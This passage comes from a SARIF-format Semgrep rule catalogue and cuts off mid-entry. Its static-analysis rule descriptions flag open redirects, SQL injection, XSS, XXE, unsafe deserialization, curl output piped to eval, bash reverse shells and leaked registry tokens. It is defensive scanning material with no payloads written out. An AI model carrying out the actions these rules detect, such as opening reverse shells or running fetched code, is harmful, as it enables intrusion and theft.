[https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231](https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231)\n","text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect","id":"python.django.security.injection.open-redirect.open-redirect","name":"python.django.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"help":{"markdown":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers)\n - [https://docs.python.org/3/library/ssl.html#cipher-selection](https://docs.python.org/3/library/ssl.html#cipher-selection)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers)\n","text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","id":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","name":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval","id":"bash.curl.security.curl-eval.curl-eval","name":"bash.curl.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","id":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","name":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user-entrypoint.missing-user-entrypoint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Semgrep found a bash reverse shell"},"help":{"markdown":"Semgrep found a bash reverse shell\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found a bash reverse shell"},"helpUri":"https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell","id":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","name":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.ci.security.bash-reverse-shell.bash_reverse_shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"NPM registry authentication token detected"},"help":{"markdown":"NPM registry authentication token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"NPM registry authentication token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","id":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","name":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection)\n - [https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data](https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","id":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","name":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","id":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","name":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","id":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","name":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string","id":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","name":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec-format-string.user-exec-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"help":{"markdown":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","id":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","name":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Callable based on user input risks remote code execution."},"help":{"markdown":"Callable based on user input risks remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable)\n - [https://www.php.net/manual/en/language.types.callable.php](https://www.php.net/manual/en/language.types.callable.php)\n","text":"Callable based on user input risks remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable","id":"php.lang.security.injection.tainted-callable.tainted-callable","name":"php.lang.security.injection.tainted-callable.tainted-callable","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-callable.tainted-callable"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"help":{"markdown":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","id":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","name":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SoftLayer API Key detected"},"help":{"markdown":"SoftLayer API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SoftLayer API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","id":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","name":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects](https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django","id":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","name":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-direct-response-django.tainted-direct-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"help":{"markdown":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html)\n - [https://vuejs.org/v2/guide/syntax.html#Raw-HTML](https://vuejs.org/v2/guide/syntax.html#Raw-HTML)\n","text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"helpUri":"https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","id":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","name":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django","id":"python.django.db.sqlalchemy-django.sqlalchemy-django","name":"python.django.db.sqlalchemy-django.sqlalchemy-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django.sqlalchemy-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, piped to eval"},"help":{"markdown":"Potential arbitrary code execution, piped to eval\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Potential arbitrary code execution, piped to eval"},"helpUri":"https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","id":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","name":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","id":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","name":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service 